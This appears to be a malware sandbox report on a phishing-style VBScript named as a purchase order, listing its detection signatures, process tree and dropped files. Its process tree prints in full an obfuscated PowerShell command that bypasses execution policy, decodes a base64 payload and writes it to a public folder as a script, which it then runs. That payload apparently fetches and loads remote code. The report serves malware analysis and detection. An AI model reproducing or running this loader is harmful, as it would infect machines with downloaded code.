Overview

overview

8

Static

static

1

purchaseor...46.vbs

windows10-2004-x64

8

purchaseor...46.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    136s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/08/2026, 18:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    purchaseorder-a0215-4746.vbs
  • Size 88KB
  • Sample260807-ws3kfa1cme
  • SHA256 a8a0be677ad5d9c3f7329ed06c48b71dbe159c4a5130c0285aeffcf4f1c45857
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
executionpersistenceprivilege_escalation

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\purchaseorder-a0215-4746.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:5804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c "$EbaYA ;$BnWKB ;$BnWKB = 'DQo7JE' + ' + 9 + ' + 'jckptTC' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQml' + '0' + 'Q2' + ' + 9 + ' + 'udmVydGVyXTo6R2V' + '0' + 'Qnl' + '0' + 'ZXMoNj' + ' + A + ' + '4Mj' + ' + A + ' + 'wNCk7DQokclVwVndPQTUgPS' + ' + A + ' + 'xNTsNCjskWFY' + '0' + 'Ui' + ' + A + ' + '' + ' + 9 + ' + 'ICc1OTU' + '0' + 'N2IzZjcxNTQ1NTU1NTg1MzNmNzY1YzU3NzYzZjVjNjM2MDg3NWQ1MzU' + '0' + 'M2Y1YzYwN2E1YTU4NTI1MDc2NTg1NTgzNjI3MzY2NDQzZjcwNjY' + '0' + 'MDdiNWI3YTdiODQ3MzU2NjU4ODcxNDI1MTYzNjk2NzU5NDE3MDY2NWQ3YjcyODg' + '0' + 'NDVkNjg2NzU5ODk3MDU2NTU4MjY3NjM3ZTQ1NjU' + '0' + 'MjU5N2Y3MzU2NjU1OTcxN2Q2MDg5NWM3ODc2N2E2MzU1NzM4MjYwNDE' + '0' + 'MzgyNTg1MjYxNTk3MzU2ODc1MTYxNjI3YTRjJzsNCjsNCmZ1bmN' + '0' + 'aW' + ' + 9 + ' + 'uIExvYWRCdWZmZXI5NigkaCwgJHMpIHs7DQogIC' + ' + A + ' + 'gJHFxc2JjUHIgPS' + ' + A + ' + 'nJzsNCi' + ' + A + ' + 'gICBmb3IgKCRpID' + '0' + 'gMDsgJGkgLWx' + '0' + 'ICRoLkxlbmd' + '0' + 'aDsgJGkgKz' + '0' + 'gMikgezsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gW3ZvaWRdKCRpIC1ieG' + ' + 9 + ' + 'yIDMyKTsNCi' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gJGIgPSBbQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OlRvSW5' + '0' + 'MzIoJGguU3Vic3RyaW5nKCRpLC' + ' + A + ' + 'yKSw' ;$EbaYA = 'gMTYpOw' + '0' + 'KIC' + ' + A + ' + 'gIC' + ' + A + ' + 'gIC' + ' + A + ' + 'kcXFzYmNQci' + ' + A + ' + 'rPSBbY2hhcl' + '0' + 'oKCRiIC' + '0' + 'gJHMgKy' + ' + A + ' + 'yNTYpICUgMjU2KTsNCi' + ' + A + ' + 'gICB' + ' + 9 + ' + 'Ow' + '0' + 'KIC' + ' + A + ' + 'gIHJldHVybi' + ' + A + ' + 'kcXFzYmNQcjsNCn' + '0' + '7DQokTU' + '0' + 'wemZKcy' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoJChMb2FkQnVmZmVyOTYgJFhWNFIgJHJVcFZ3T' + '0' + 'E1KSkpOw' + '0' + 'KSW52b2tlLUNvbW1hbmQgKFtTY3JpcHRCbG' + ' + 9 + ' + 'ja1' + '0' + '6OkNy' + 'ZW' + 'F' + '0' + 'ZSgkTU' + '0' + 'wemZKcykpOw' + '0' + 'KDQo7DQo7aXBjb25maWcgL3JlbGVhc2UgfCBPdXQtTnVsbDsNCjtpcGNvbmZpZy' + ' + A + ' + 'vcmVuZXcgfCBPdXQtTnVsbDsNCjtuZXRzaCB3aW5zb2NrIHJlc2V' + '0' + 'IHwgT3V' + '0' + 'LU51bGw7DQo7bmV' + '0' + 'c2ggaW5' + '0' + 'IGlwIHJlc2V' + '0' + 'IHwgT3V' + '0' + 'LU51bGw7DQoNClN' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDUgOw' + '0' + 'KDQpbU3lzdGVtLk5ldC5TZXJ2aWNlUG' + ' + 9 + ' + 'pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbC' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2xUeXBlXTo6VGxzMTIgLWJvciBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEzIDsNCg' + '0' + 'KOyRzbXl4SzsNCjtGdW5jdGlvbiBkV3ZMT3s7DQo7W2J5dGVbXV' + '0' + 'kRFZLWV' + ' + A + ' + 'gPSBbc3lzdGVtLkNvbnZlcnRdOjpGcm' + ' + 9 + ' + 'tQmFzZTY' + '0' + 'U3RyaW5nKC' + ' + A + ' + 'kc215eEsgKTsNCjskZmpkTWYgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZyggJERWS1lQICk7DQo7cmV' + '0' + 'dXJuICRmamRNZjsNCn' + '0' + '7DQoNCiRkV1dDTi' + ' + A + ' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ3JwbGZtLnR4dCcpIDskaFJsYWkgPS' + ' + A + ' + 'nYUhSMGNITTZMeScgKy' + ' + A + ' + 'oJzloYiRfJF8kXyRfJF8kX1J5WldabGJHbHdaV1J2YiRfJF8kXyRfJF8kX' + '0' + 'Z6WTJsdFpURTNPRE' + '0' + '' + '0' + 'TicgLXJlcGxhY2UgLC' + ' + A + ' + 'nXCRfXCRfXCRfXCRfXCRfXCRfJywgJ2' + '0' + 'nKS' + ' + A + ' + 'rICdqazFPVFE1TnpndU1qQXlNRE14TWk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlrUkZsd1ZGOHhOMTh3TjE5TlpYVnpYMkZ5Y1hWcGRtOXpYMFJsWDFSbGVIUnZMekF6TG5SNGRBPT' + '0' + 'nIDskc215eEsgPS' + ' + A + ' + 'kaFJsYWk7ICRoUmxhaS' + ' + A + ' + '' + ' + 9 + ' + 'IGRXdkxPIDskaFJsYWkgfCBPdXQtRmlsZS' + ' + A + ' + 'tRmlsZVBhdGggJGRXV' + '0' + 'NOIC1FbmNvZGluZy' + ' + A + ' + 'nVVRGOCcgLWZvcmNlIDs7JE15VENtID' + '0' + 'gKC' + ' + A + ' + 'nQzpcVXNlcnNcUHVibGljXCcgKy' + ' + A + ' + 'neXZzaGYudHh' + '0' + 'JykgOyRteHZybC' + ' + A + ' + '' + ' + 9 + ' + 'IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5X' + 'ZW' + 'JDbGllbnQgOyRteHZybC5FbmNvZGluZy' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjggOyRteHZybC5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OkNhY2hlQ2' + ' + 9 + ' + 'udHJvbCwgJ25vLWNhY2hlJykgOyRteHZybC5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OlByYWdtYSwgJ25vLWNhY2hlJykgOyRteHZybC5Qcm' + ' + 9 + ' + '4eS' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYlJlcXVlc3RdOjpHZXRTeXN' + '0' + '' + 'ZW' + '1X' + 'ZW' + 'JQcm' + ' + 9 + ' + '4eSgpIDskbXh2cmwuUHJveHkuQ3JlZGVudGlhbHMgPSBbU3lzdGVtLk5ldC5DcmVk' + 'ZW' + '5' + '0' + 'aWFsQ2FjaGVdOjpE' + 'ZW' + 'ZhdWx' + '0' + 'TmV' + '0' + 'd2' + ' + 9 + ' + 'ya' + '0' + 'Ny' + 'ZW' + 'RlbnRpYWxzIDskWkRyalYgID' + '0' + 'gKCBHZXQtQ2' + ' + 9 + ' + 'udGVudC' + ' + A + ' + 'tUGF' + '0' + 'aC' + ' + A + ' + 'kZFdXQ' + '0' + '4gKS' + ' + A + ' + '7JFN6S3dWID' + '0' + 'gJG14dnJsLkRvd25sb2FkRGF' + '0' + 'YSggJFpEcmpWLlRyaW' + '0' + 'oKS' + ' + A + ' + 'pIDskeGtkY3YgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN' + '0' + 'cmluZygkU3pLd1YpIDskeGtkY3YgPS' + ' + A + ' + 'oQChbcmVnZXhdOjpzcGxpdCgkeGtkY3YsJ1wleCUrJykpWzFdKS5UcmltKCkgOyR4a2RjdiB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kTXlUQ2' + '0' + 'gLWZvcmNlIDs7JFNEZHd3ID' + '0' + 'gJ' + '0' + 'xvJy' + ' + A + ' + 'rICdhZCc7JEhJd1laID' + '0' + 'gJ' + '0' + 'Fzc2UnICsgJ21ibHknOyRzWUtVUi' + ' + A + ' + '' + ' + 9 + ' + 'ICdpbnYnICsgJ2' + ' + 9 + ' + 'rZSc7JHhVdEdBID' + '0' + 'gJ1JlZmxlJy' + ' + A + ' + 'rICdjdGlvbic7JHN' + '0' + 'V2lsID' + '0' + 'gJG51bGw7JGdoYmd3ICs' + ' + 9 + ' + 'ICckUkJCZlogPS' + ' + A + ' + 'oJydoIHQgdHBzIDogLy' + ' + A + ' + 'vJycuUmVwbGFjZSgnJy' + ' + A + ' + 'nJywgJycnJykgKy' + ' + A + ' + 'nJ2FuZHJlZmVsaXBlZG' + ' + 9 + ' + 'uYXNjaW1lMTc4Mzg2OTU5NDk3OC4yMDIwMzEyLm1ldXNpdGVob3N' + '0' + 'Z2F' + '0' + 'b3IuY2' + ' + 9 + ' + 'tLmJyLycnICsgJydkRFlwVF8xN18wN1' + ' + 9 + ' + 'NZXVzX2FycXVpdm' + ' + 9 + ' + 'zX' + '0' + 'RlX1RleHRvLycnICsgJydQZVllcycnKS' + ' + A + ' + '7Jy' + ' + A + ' + '7JGdoYmd3ICs' + ' + 9 + ' + 'ICckemdIb1cgPS' + ' + A + ' + 'nJyViYXNlNjQlYzI1eWIyTnBibFYwYzI5d2NHMWhUQzluY2' + '0' + '4dWRHVnVMV' + '0' + '11WlhSellY57eSdkx6cHpjSFIwYee3kj' + '0' + '' + ' + 9 + ' + 'JycgOyR6Z' + '0' + 'hvVy' + ' + A + ' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + ' + A + ' + 'sICcnQScnKS' + ' + A + ' + '7OyRjVEZ6Ti' + ' + A + ' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWInJy' + ' + A + ' + 'rICcnbGljXCcnICsgJyd5dnNoZi5' + '0' + 'eHQnJykgOyRoamxubi' + ' + A + ' + '' + ' + 9 + ' + 'IChHZXQtQ2' + ' + 9 + ' + 'udGVudC' + ' + A + ' + 'tUGF' + '0' + 'aC' + ' + A + ' + 'kY1RGek4gLUVuY2' + ' + 9 + ' + 'kaW5nIFVURjgpOycgOyRnaGJndy' + ' + A + ' + 'rPS' + ' + A + ' + 'nJGhqbG5uIC1yZXBsYWNlICcnICcnLC' + ' + A + ' + 'nJycnIDsnIDskZ2hiZ3cgKz' + '0' + 'gJ1tieXRlW11dJHlmZndwID' + '0' + 'gW1N5c3RlbS5Db2xs' + 'ZW' + 'N' + '0' + 'aW' + ' + 9 + ' + 'ucy5H' + 'ZW' + '5lcmljLkxpc3RbQnl' + '0' + 'ZV1dOjpuZXcoKTsnIDskZ2hiZ3cgKz' + '0' + 'gJyR5ZmZ3cC' + ' + A + ' + '' + ' + 9 + ' + 'ICgkaGpsbm4gIC1zcGxpdC' + ' + A + ' + 'nJywnJyB8IEZvckVhY2gtT2Jq' + 'ZW' + 'N' + '0' + 'IHsgW2J5dGVdKCRfLlRyaW' + '0' + 'oKSkgfSkgOyc7JGdoYmd3ICs' + ' + 9 + ' + 'ICckd21IeEcgPSBbU3lzdGVtLicgKy' + ' + A + ' + 'keFV' + '0' + 'R' + '0' + 'EgKy' + ' + A + ' + 'nLicgKy' + ' + A + ' + 'kSEl3WVogKy' + ' + A + ' + 'nXTo6Jy' + ' + A + ' + 'rICRTRGR3dy' + ' + A + ' + 'rICcoICR5ZmZ3cC' + ' + A + ' + 'pOycgOyRnaGJndy' + ' + A + ' + 'rPS' + ' + A + ' + 'nJGp' + '0' + 'VmxiID' + '0' + 'gJHdtSHhHLkdldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy' + ' + A + ' + 'pOycgOyRnaGJndy' + ' + A + ' + 'rPS' + ' + A + ' + 'nJENTWXRVID' + '0' + 'gJGp' + '0' + 'VmxiLkdldE1ldGhvZCggJydwck' + 'ZW' + 'SScnICkuJy' + ' + A + ' + 'rICRzWUtVUi' + ' + A + ' + 'rICcoICRzdFdpbC' + ' + A + ' + 'sIFtvYmplY3RbXV' + '0' + 'gKC' + ' + A + ' + 'kemdIb1cgLC' + ' + A + ' + 'nJyV2VmxHeiUnJy' + ' + A + ' + 'sICcnRCBEREM6XFdpbmRvd3NcTWljcm' + ' + 9 + ' + 'zb2Z' + '0' + 'Lk5FVFxGcmFtZScgKy' + ' + A + ' + 'nd2' + ' + 9 + ' + 'yazY' + '0' + 'XHY' + '0' + 'Lj' + ' + A + ' + 'uMz' + ' + A + ' + 'zMTlcaW5zdGFsbHV' + '0' + 'aWwnJywgJyckZmFsc2UnJywgJFJCQmZaICkgKTsnIDskdWpvblggPS' + ' + A + ' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + ' + A + ' + 'rICdwZ3RrdF8wMS5wczEnICkgOyRnaGJndyB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + ' + A + ' + 'kdWpvblggLWZvcmNlIDtTdGFydC1TbGVlcC' + ' + A + ' + 'tcy' + ' + A + ' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICR1am' + ' + 9 + ' + 'uWC' + ' + A + ' + '7Ow==' ;$EGWnp = ($BnWKB + $EbaYA) ;$EGWnp = $EGWnp.replace('''',$null) ;$EGWnp = $EGWnp.replace('+ ',$null) ;$EGWnp = $EGWnp.replace(' ',$null) ;Function HZhwO{;$hqDsO = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($EGWnp)) ;return $hqDsO ;};$oNxhz = HZhwO; $oNxhz = ($oNxhz -replace '%vVlGz%','C:\Users\Admin\AppData\Local\Temp\purchaseorder-a0215-4746SlCjVvbs') ;$MqRnx = 'C:\Users\Public\' + 'QMhMR' + '.ps1' ;$oNxhz | Out-File -FilePath $MqRnx -force ; powershell -ExecutionPolicy Bypass -file $MqRnx ; "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2648
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\QMhMR.ps1
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2584
        • C:\Windows\system32\ipconfig.exe
          "C:\Windows\system32\ipconfig.exe" /release
          4⤵
          • Gathers network information
          PID:2164
        • C:\Windows\system32\ipconfig.exe
          "C:\Windows\system32\ipconfig.exe" /renew
          4⤵
          • Gathers network information
          PID:3512
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" winsock reset
          4⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:204
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" int ip reset
          4⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:1132
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\pgtkt_01.ps1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2216

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        ModuleAnalysisCache
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 67KB
        • SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_bbcux3dq.x15.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bbcux3dq.x15.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        QMhMR.ps1
        • Path C:\Users\Public\QMhMR.ps1
        • Size 7KB
        • SHA256 cd6dd603292cca6605cb63ee2007f43c85c416997b3843df5b2120ecfa1fa07d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        pgtkt_01.ps1
        • Path C:\Users\Public\pgtkt_01.ps1
        • Size 1KB
        • SHA256 2d69659dc1c4d0371305767d4a9dc3f616967663846a60b09a9a7228be5f921c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        yvshf.txt
        • Path C:\Users\Public\yvshf.txt
        • Size 2B
        • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
        • MD5 SHA1 SHA512
        Submit Download

        memory/2584-29-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2584-30-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2584-43-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2584-28-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2584-20-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2584-19-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2584-18-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2584-16-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2584-17-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-0-0x00007FFC6847F000-0x00007FFC68480000-memory.dmp
        Download

        memory/2648-6-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-12-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-8-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-25-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-11-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-13-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-7-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-14-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-46-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-9-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-10-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-5-0x00000274DEB20000-0x00000274DEB42000-memory.dmp
        Download

        memory/2648-2-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download

        memory/2648-1-0x00007FFC682F0000-0x00007FFC68C94000-memory.dmp
        Download